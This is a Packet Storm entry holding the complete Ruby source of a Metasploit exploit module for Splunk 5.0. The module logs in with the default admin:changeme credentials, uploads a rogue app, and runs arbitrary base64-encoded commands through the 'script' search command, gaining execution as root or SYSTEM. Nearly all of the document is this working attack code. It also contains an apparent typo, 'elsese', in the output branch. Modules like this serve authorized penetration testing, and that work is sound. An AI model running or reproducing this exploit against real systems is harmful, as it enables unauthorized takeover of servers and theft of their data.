Splunk 5.0 Custom App Remote Code Execution

2012-12-08T00:00:00
ID PACKETSTORM:118697
Type packetstorm
Reporter sinn3r
Modified 2012-12-08T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',  
'Description' => %q{  
This module exploits a feature of Splunk whereby a custom application can be  
uploaded through the web based interface. Through the 'script' search command a  
user can call commands defined in their custom application which includes arbitrary  
perl or python code. To abuse this behavior, a valid Splunk user with the admin  
role is required. By default, this module uses the credential of "admin:changeme",  
the default Administrator credential for Splunk. Note that the Splunk web interface  
runs as SYSTEM on Windows, or as root on Linux by default. This module has only  
been tested successfully against Splunk 5.0.  
},  
'Author' =>  
[  
"@marcwickenden", # discovery and metasploit module  
"sinn3r", # metasploit module  
"juan vazquez", # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],  
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],  
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Splunk 5.0.1 / Linux',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'linux', 'unix' ]  
}  
],  
[ 'Splunk 5.0.1 / Windows',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win'  
}  
]  
],  
'DisclosureDate' => 'Sep 27 2012'))  
  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),  
OptPath.new('SPLUNK_APP_FILE',  
[  
true,  
'The "rogue" Splunk application tgz',  
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')  
])  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),  
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),  
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),  
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])  
], self.class)  
end  
  
def exploit  
# process standard options  
@username = datastore['USERNAME']  
@password = datastore['PASSWORD']  
file_name = datastore['SPLUNK_APP_FILE']  
  
# process advanced options  
return_output = datastore['ReturnOutput']  
disable_upload = datastore['DisableUpload']  
@enable_overwrite = datastore['EnableOverwrite']  
command_output_delay = datastore['CommandOutputDelay']  
  
# set up some variables for later use  
@auth_cookies = ''  
@csrf_form_key = ''  
app_name = 'upload_app_exec'  
p = payload.encoded  
print_status("Using command: #{p}")  
cmd = Rex::Text.encode_base64(p)  
  
# log in to Splunk (if required)  
do_login  
  
# fetch the csrf token for use in the upload next  
do_get_csrf('/en-US/manager/launcher/apps/local')  
  
unless disable_upload  
# upload the arbitrary command execution Splunk app tgz  
do_upload_app(app_name, file_name)  
end  
  
# get the next csrf token from our new app  
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")  
  
# call our command execution function with the Splunk 'script' command  
print_status("Invoking script command")  
res = send_request_cgi(  
{  
'uri' => '/en-US/api/search/jobs',  
'method' => 'POST',  
'cookie' => @auth_cookies,  
'headers' =>  
{  
'X-Requested-With' => 'XMLHttpRequest',  
'X-Splunk-Form-Key' => @csrf_form_key  
},  
'vars_post' =>  
{  
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf  
'status_buckets' => "300",  
'namespace' => "#{app_name}",  
'ui_dispatch_app' => "#{app_name}",  
'ui_dispatch_view' => "flashtimeline",  
'auto_cancel' => "100",  
'wait' => "0",  
'required_field_list' => "*",  
'adhoc_search_level' => "smart",  
'earliest_time' => "0",  
'latest_time' => "",  
'timeFormat' => "%s.%Q"  
}  
})  
  
if return_output  
res.body.match(/data":\ "([0-9.]+)"/)  
job_id = $1  
  
# wait a short time to let the output be produced  
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")  
select(nil,nil,nil,command_output_delay)  
job_output = fetch_job_output(job_id)  
if job_output.body.match(/Waiting for data.../)  
print_status("No output returned in time")  
elsese  
output = ""  
job_output.body.each_line do |line|  
# strip off the leading and trailing " added by Splunk  
line.gsub!(/^"/,"")  
line.gsub!(/"$/,"")  
output << line  
end  
  
# return the output  
print_status("Command returned:")  
print_line output  
end  
else  
handler  
end  
end  
  
def check  
# all versions are actually "vulnerable" but check implemented for future proofing  
# and good practice  
res = send_request_cgi(  
{  
'uri' => '/en-US/account/login',  
'method' => 'GET'  
}, 25)  
  
if res and res.body =~ /Splunk Inc\. Splunk/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def do_login  
print_status("Authenticating...")  
# this method borrowed with thanks from splunk_mappy_exec.rb  
res = send_request_cgi(  
{  
'uri' => '/en-US/account/login',  
'method' => 'GET'  
})  
  
cval = ''  
uid = ''  
session_id_port =  
session_id = ''  
if res and res.code == 200  
res.headers['Set-Cookie'].split(';').each {|c|  
c.split(',').each {|v|  
if v.split('=')[0] =~ /cval/  
cval = v.split('=')[1]  
elsif v.split('=')[0] =~ /uid/  
uid = v.split('=')[1]  
elsif v.split('=')[0] =~ /session_id/  
session_id_port = v.split('=')[0]  
session_id = v.split('=')[1]  
end  
}  
}  
else  
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")  
end  
  
res = send_request_cgi(  
{  
'uri' => '/en-US/account/login',  
'method' => 'POST',  
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",  
'vars_post' =>  
{  
'cval' => cval,  
'username' => @username,  
'password' => @password  
}  
})  
  
if not res or res.code != 303  
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")  
else  
session_id_port = ''  
session_id = ''  
res.headers['Set-Cookie'].split(';').each {|c|  
c.split(',').each {|v|  
if v.split('=')[0] =~ /session_id/  
session_id_port = v.split('=')[0]  
session_id = v.split('=')[1]  
end  
}  
}  
@auth_cookies = "#{session_id_port}=#{session_id}"  
end  
end  
  
def do_upload_app(app_name, file_name)  
archive_file_name = ::File.basename(file_name)  
print_status("Uploading file #{archive_file_name}")  
file_data = ::File.open(file_name, "rb") { |f| f.read }  
  
boundary = '--------------' + rand_text_alphanumeric(6)  
  
data = "--#{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"  
data << "#{@csrf_form_key}"  
data << "\r\n--#{boundary}\r\n"  
  
if @enable_overwrite  
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"  
data << "1"  
data << "\r\n--#{boundary}\r\n"  
end  
  
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"  
data << "Content-Type: application/x-compressed\r\n\r\n"  
data << file_data  
data << "\r\n--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'uri' => '/en-US/manager/appinstall/_upload',  
'method' => 'POST',  
'cookie' => @auth_cookies,  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => data  
}, 30)  
  
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))  
print_status("#{app_name} successfully uploaded")  
else  
fail_with(Exploit::Failure::Unknown, "Error uploading")  
end  
end  
  
def do_get_csrf(uri)  
print_status("Fetching csrf token from #{uri}")  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'GET',  
'cookie' => @auth_cookies  
})  
res.body.match(/FORM_KEY":\ "(\d+)"/)  
@csrf_form_key = $1  
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key  
end  
  
def fetch_job_output(job_id)  
# fetch the output of our job id as csv for easy parsing  
print_status("Fetching job_output for id #{job_id}")  
res = send_request_raw(  
{  
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",  
'method' => 'GET',  
'cookie' => @auth_cookies,  
'encode_param' => 'false'  
})  
end  
  
end  
`